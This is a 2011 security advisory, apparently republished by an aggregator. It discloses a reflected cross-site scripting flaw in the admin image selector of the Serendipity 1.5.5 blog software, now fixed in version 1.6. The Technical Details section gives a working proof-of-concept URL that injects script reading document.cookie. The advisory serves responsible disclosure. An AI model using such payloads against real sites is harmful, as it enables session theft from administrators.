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securityvulnsSecurityvulnsSECURITYVULNS:DOC:27275
HistoryNov 06, 2011 - 12:00 a.m.

Serendipity 'serendipity[filter][bp.ALT]' Cross-Site Scripting vulnerability

2011-11-0600:00:00
vulners.com
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Advisory: Serendipity 'serendipity[filter][bp.ALT]' Cross-Site Scripting vulnerability
Advisory ID: SSCHADV2011-015
Author: Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.5.5
Vendor URL: http://www.s9y.org
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:

The parameter "serendipity[filter][bp.ALT]" in Serendipity backend is prone to a Cross-Site Scripting vulnerability

==================
Technical Details:

http://<target>/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=±+Go!±+

=========
Solution:

Upgrade to Serendipity 1.6

====================
Disclosure Timeline:

22-Sep-2011 - informed developers
27-Oct-2011 - fixed by vendor
02-Nov-2011 - release date of this security advisory

========
Credits:

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:

http://www.s9y.org
http://blog.s9y.org/archives/233-Serendipity-1.6-released.html
http://www.rul3z.de/advisories/SSCHADV2011-015.txt